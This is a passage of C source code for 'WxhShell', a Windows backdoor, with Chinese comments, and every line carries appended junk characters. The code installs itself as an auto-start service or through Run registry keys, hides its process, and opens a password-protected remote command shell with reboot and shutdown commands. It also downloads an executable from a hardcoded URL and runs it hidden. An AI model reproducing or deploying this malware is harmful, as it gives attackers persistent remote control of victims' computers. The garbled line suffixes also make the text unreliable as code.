ULONG InheritedFromUniqueProcessId; K0C"s'q
} PROCESS_BASIC_INFORMATION; k}E_1_S(
\o2l;1~
PROCNTQSIP NtQueryInformationProcess; I+.U.e^gx
LEtGrA/%@b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4gev^/^^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
^[}W} j>
.>[l@x"
HANDLE hProcess; Cg~1<J?2
PROCESS_BASIC_INFORMATION pbi; oq,nfUA
ni2 [K`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I0Allw[
if(NULL == hInst ) return 0; fJ5mKN
.57Fh)Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >@cBDS<6R
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8%YyxoCH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M=ag\1S&ZF
dqQJC qc!
if (!NtQueryInformationProcess) return 0; 8d8jUPFQ
_=`DzudE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W.cc!8
if(!hProcess) return 0; 'm|T"Ym~
nHDKe)V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4VeT]`C^h
jVOq/o
CloseHandle(hProcess); ?f3R+4
"K9[P:nw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !O`j
if(hProcess==NULL) return 0; p<0=. ~
-EFdP] XO
HMODULE hMod; #6YpV)
char procName[255]; Hf1b&8&:K
unsigned long cbNeeded; m{Uh{G$
:BV $3]y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
nVgvn2N/
ZnAQO3%y
CloseHandle(hProcess); d/Wp>A@dob
W-|CK&1
if(strstr(procName,"services")) return 1; // 以服务启动 <P0 P*>M
eg?p)|
return 0; // 注册表启动 fr04nl
} !T:7xEr
4Y3@^8h&=
// 主模块 xhho{
int StartWxhshell(LPSTR lpCmdLine) 0[<'ygu
{ c V@^<
SOCKET wsl; rr(kFQ"
BOOL val=TRUE; hS &H*
int port=0; g@M5_I(W
struct sockaddr_in door; <3N\OV2
j x< <h_j
if(wscfg.ws_autoins) Install(); rwW"B
%`$:/3P$U
port=atoi(lpCmdLine); Ei+lVLoC
ht6}v<x.eA
if(port<=0) port=wscfg.ws_port; 6(htpT%J
CKe72OC
WSADATA data; gp 11/.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q7F4OS5b
HGh)d` 8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nSQ]qH&4d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q"eqql<h#
door.sin_family = AF_INET; >c
Tt2v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3$K[(>s
door.sin_port = htons(port); [okV[7
Kx,X{$Pe
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sm G?y~
closesocket(wsl); TxN+-< f
return 1; vR5X
} 1|>vk+;1h
{c]dz7'?
if(listen(wsl,2) == INVALID_SOCKET) { \Wppl,"6c
closesocket(wsl); <jYyA]Zy5
return 1; Pj g#
} ('j'>"1H
Wxhshell(wsl); g[@0H=
WSACleanup(); Ge?DD,ac
)g
$T%
return 0; XH*(zTd(?
1>OU~A"
} U61
LMH
Zm++5b`W/[
// 以NT服务方式启动 [h' 22W
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b">"NvlB
{ AA ~7"2e
DWORD status = 0; 47*2QL^zj
DWORD specificError = 0xfffffff; !H c6$
&6Lh>n(
serviceStatus.dwServiceType = SERVICE_WIN32; ^b$G.h{o!E
serviceStatus.dwCurrentState = SERVICE_START_PENDING; SJLs3iz_)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "W4|}plnu
serviceStatus.dwWin32ExitCode = 0; Yh"9,Z&wiR
serviceStatus.dwServiceSpecificExitCode = 0; ngd4PN>{4
serviceStatus.dwCheckPoint = 0; i
Pl/I
serviceStatus.dwWaitHint = 0; [4B(rra
zT/woiyB`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =c#mR" 1
if (hServiceStatusHandle==0) return; |t3}>+"?z
g}hNsU=$5~
status = GetLastError(); RhF<{U.
if (status!=NO_ERROR) mKV31wvK}
{ pK_zq
serviceStatus.dwCurrentState = SERVICE_STOPPED; rij%l+%@#
serviceStatus.dwCheckPoint = 0; ~mah.8G
serviceStatus.dwWaitHint = 0; 'aD"v>
serviceStatus.dwWin32ExitCode = status; <j#IR
serviceStatus.dwServiceSpecificExitCode = specificError; U Lq`!1{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4z~;4
return; g2LvojR
} VTDnh*\5
3?h!nVI+2J
serviceStatus.dwCurrentState = SERVICE_RUNNING; g3%x"SlIU
serviceStatus.dwCheckPoint = 0; TI"Ki$jC
serviceStatus.dwWaitHint = 0; C deV3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); efHCPj
} >k=@YLj
|)O;+e\
// 处理NT服务事件,比如:启动、停止 !&@t
VOID WINAPI NTServiceHandler(DWORD fdwControl) #jj(S\WY
{ [-e$4^+9
switch(fdwControl) m%"=sX7/9
{ =Bh,>Kg
case SERVICE_CONTROL_STOP: G$Fo*;Fl
serviceStatus.dwWin32ExitCode = 0; Jzy:^PObT
serviceStatus.dwCurrentState = SERVICE_STOPPED; $SFreyI;Uf
serviceStatus.dwCheckPoint = 0; ]eFNR1<OP
serviceStatus.dwWaitHint = 0; km
lb,P
{ h.- o$+Sa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =bvLMpa
} qf[J-"o
return; vt(n: Xk
case SERVICE_CONTROL_PAUSE: PT&qys2k
serviceStatus.dwCurrentState = SERVICE_PAUSED; @&Yl'&pn-R
break; {ynI]Wj`L
case SERVICE_CONTROL_CONTINUE: v6x jLP;O
serviceStatus.dwCurrentState = SERVICE_RUNNING; 33hP/p%
break; m#6p=E
case SERVICE_CONTROL_INTERROGATE: ~e){2_J&n
break; b1=! "Y@
}; E J6|y'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); | -Gb Hfz
} 0BjP|API
duCXCX^n
T
// 标准应用程序主函数 }J\7IsM&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C^U>{jf !
{ =PjdL32
>%t5j?p
// 获取操作系统版本 i8R2Y9Q*O
OsIsNt=GetOsVer(); +f_3JL$
GetModuleFileName(NULL,ExeFile,MAX_PATH); V{qR/
=G'J@[d{d
// 从命令行安装 $\20Vgu<
if(strpbrk(lpCmdLine,"iI")) Install(); 0PUSCka'6
C'sA0O@O
// 下载执行文件 $Nj'_G\}
if(wscfg.ws_downexe) { R-f('[u
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5g9K|-
WinExec(wscfg.ws_filenam,SW_HIDE); Q5Mn=
} $"Ci{iE
oMq:4W,
if(!OsIsNt) { su8()]|0x
// 如果时win9x,隐藏进程并且设置为注册表启动 [e:ccm
HideProc(); [,z>msEB.
StartWxhshell(lpCmdLine); l]IQjjJ`
} {;JFoe+
else *tDxwD7
if(StartFromService()) .^rsVNG
// 以服务方式启动 ?i~mt'O
StartServiceCtrlDispatcher(DispatchTable); 7~D5Gy
else x:]_z.5
// 普通方式启动 f~p[izt
StartWxhshell(lpCmdLine); bD1IY1
@_;vE(!5
return 0; JVPLE*T
} i^}DIx{
:pP l|"
$f6wmI;<y
~}K$z
=========================================== 86Xf6Ea
T(+*y
f2Tz5slE
79'N/:.
dW|S\S'&
5 ^tetDz}
" <Lq.J`|+
9\6ZdnEKu,
#include <stdio.h> f kdJgK
#include <string.h> %b ^.Gw\L
#include <windows.h> {8~xFYc:
#include <winsock2.h> !OR%AdxB
#include <winsvc.h> 0'` #I
#include <urlmon.h> nh"LdHqiDB
RUV:
#pragma comment (lib, "Ws2_32.lib") gvxOo#8]
#pragma comment (lib, "urlmon.lib") Qu|<1CrZj]
_w9:([_
#define MAX_USER 100 // 最大客户端连接数 ~t.i;eu
#define BUF_SOCK 200 // sock buffer z"{Ji{>%=
#define KEY_BUFF 255 // 输入 buffer r5!Sps3B
w"E.Va
#define REBOOT 0 // 重启 )TkXdA?.
#define SHUTDOWN 1 // 关机 82=>I*0Q
mH4Jl1S&
#define DEF_PORT 5000 // 监听端口 yd`f<Hr<m
'c/Z
W
#define REG_LEN 16 // 注册表键长度 {,o =K4CD
#define SVC_LEN 80 // NT服务名长度 QPz3IK%
E
uk[ @1
// 从dll定义API k'1iquc#u
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SA-r61
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G:|=d0
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{,
b|4
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :k oXS
e?XQ,
// wxhshell配置信息 Hl*/s
struct WSCFG { Z<[f81hE&
int ws_port; // 监听端口 $4rMYEn08
char ws_passstr[REG_LEN]; // 口令 /q6
^.>b
int ws_autoins; // 安装标记, 1=yes 0=no um
mkAeWb
char ws_regname[REG_LEN]; // 注册表键名 _n3"
char ws_svcname[REG_LEN]; // 服务名 E&2mFg
char ws_svcdisp[SVC_LEN]; // 服务显示名 P%kJq^&
char ws_svcdesc[SVC_LEN]; // 服务描述信息 sfEy
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rp,PhS
int ws_downexe; // 下载执行标记, 1=yes 0=no .h>tef
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7?~*F7F
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h#I]gHQK
/Os;, g
}; $3:O}X>
f\M;m9{(
// default Wxhshell configuration soB5sFt&]
struct WSCFG wscfg={DEF_PORT, !"
7ip9a
"xuhuanlingzhe", sQr
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1, 4.i< `'
"Wxhshell", WH0$v#8`v
"Wxhshell", 3Qoa?*
"WxhShell Service", *bTR0U
"Wrsky Windows CmdShell Service", `1U?^9Nf
"Please Input Your Password: ", rtgu{m02
1, /-&a]PJ
"http://www.wrsky.com/wxhshell.exe", 4qLH3I[Y
"Wxhshell.exe" Qf(mn8
}; TmO3hKaP
t(.xEl;Ma
// 消息定义模块 sRf?JyB
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _6&TCd<
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9A9yZl t
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *D$Hd">X
char *msg_ws_ext="\n\rExit."; *lws7R
char *msg_ws_end="\n\rQuit."; '/H+
char *msg_ws_boot="\n\rReboot..."; |a[Id
char *msg_ws_poff="\n\rShutdown..."; Cdbh7
char *msg_ws_down="\n\rSave to "; LuUfdzH
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char *msg_ws_err="\n\rErr!"; }6^d/nE*T
char *msg_ws_ok="\n\rOK!"; [%yCnt
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char ExeFile[MAX_PATH]; P[bj{lo
int nUser = 0; XCU>b[Cj,
HANDLE handles[MAX_USER]; (cEjC`]
int OsIsNt; I^yInrRh5
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k,
SERVICE_STATUS serviceStatus; K
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SERVICE_STATUS_HANDLE hServiceStatusHandle; fp2.2 @[
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// 函数声明 0!!z'm3
int Install(void); vd}Y$X
int Uninstall(void); (}NKW
int DownloadFile(char *sURL, SOCKET wsh); r1QLSD]i6
int Boot(int flag); j@+QwZL|
void HideProc(void); )]a{cczL"
int GetOsVer(void); c2fbqM~
int Wxhshell(SOCKET wsl); %Ut7%obpi
void TalkWithClient(void *cs); gls %<A{C
int CmdShell(SOCKET sock); 6P6Pl&
int StartFromService(void); *#2]`G)
int StartWxhshell(LPSTR lpCmdLine); ;/]vmgl2
9H4NvB{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Eett)4
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xxC2F:Q?U
kw Iw=8q~
// 数据结构和表定义 ?3{:[*
SERVICE_TABLE_ENTRY DispatchTable[] = 6YeEr!zt%
{ Fj~,>
{wscfg.ws_svcname, NTServiceMain}, r @
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{NULL, NULL} UL
}; :#=XT9
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// 自我安装 iw==q:$
int Install(void) op]HF4
{ JVgV,4 1
char svExeFile[MAX_PATH]; MTxe5ob`$Q
HKEY key; y.'5*08S0
strcpy(svExeFile,ExeFile); %qf ?_2v
W8R"X~!V
// 如果是win9x系统,修改注册表设为自启动 +)eI8o0#
if(!OsIsNt) { P,/=c(5\}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )FnJLd
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UX& ?^]
RegCloseKey(key); bzt(;>_8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P5^<c\Mr,Y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C0$KpUB
RegCloseKey(key);
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return 0; 3HP o*~"]
} {x#I&ra
} G
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} 2,,t+8"`
else { hs5aIJ
-
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// 如果是NT以上系统,安装为系统服务 <+wbnnK
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^k7`:@
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if (schSCManager!=0) 8qY\T0
{ j~@Hj$APa`
SC_HANDLE schService = CreateService Iyf hVk?
( 1\'zq;I~
schSCManager, / .ddx<
wscfg.ws_svcname, !C$bOhc
wscfg.ws_svcdisp, E 9LKVs}
SERVICE_ALL_ACCESS, D[5Qd)PIL
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DiLZ5^`]
SERVICE_AUTO_START, [aF^ D;o
SERVICE_ERROR_NORMAL, mDT"%I"4j
svExeFile, #o]/&T=N=
NULL, X!vBD
NULL, ^+m6lsuA
NULL, '4""Gz
NULL, 0$~zeG"
NULL S?k G|y
); G(~
s(r{%I
if (schService!=0) L93&.d@m9
{ muc>4!Q
CloseServiceHandle(schService);
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CloseServiceHandle(schSCManager); ~RRp5x _
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ca}, tov&
strcat(svExeFile,wscfg.ws_svcname); Vk>m/"
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '8$*gIQ8
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E~y@ue:
RegCloseKey(key); 1D6F
WYV8
return 0; 0A}'@N@G)
} ~F
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} l,pI~A`w_
CloseServiceHandle(schSCManager); X_6h8n}i
} \LQ?s)~
} ah(lH5r
CQ`$' oy?W
return 1; <oc"!c;T
} tTzPT<
=/J{>S>(i
// 自我卸载 ?=22@Q}g
int Uninstall(void) *}hx9:9\B
{ srbU}u3VZ
HKEY key; iIe\m V
1+f>tv
if(!OsIsNt) { +NH#t}.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z ]@ Q
RegDeleteValue(key,wscfg.ws_regname); bh9!OqK9K
RegCloseKey(key); Ch~2w)HAA
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iAOm[=W
RegDeleteValue(key,wscfg.ws_regname); 9HjtWQn
RegCloseKey(key); 0pYCh$TL1
return 0; 7NY9UQ
} _|!FhZ
} t=IpVl!
} S8{S b>
else { Dp5hr 8bT
bP4<q?FKcN
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YhVV~bvz*
if (schSCManager!=0) VOj{&O2c
{ l Wa4X#~.
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UY)e6 Zd
if (schService!=0) /n9yv
{ uEK9
if(DeleteService(schService)!=0) { eq|G\XJ
CloseServiceHandle(schService); }3"FQ/6C
CloseServiceHandle(schSCManager); o
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return 0; $<y10DfO
} zPC&p{S>
CloseServiceHandle(schService); ranLHm.nB
} VeJM=s.y7
CloseServiceHandle(schSCManager); Z`?Z1SBt
} &_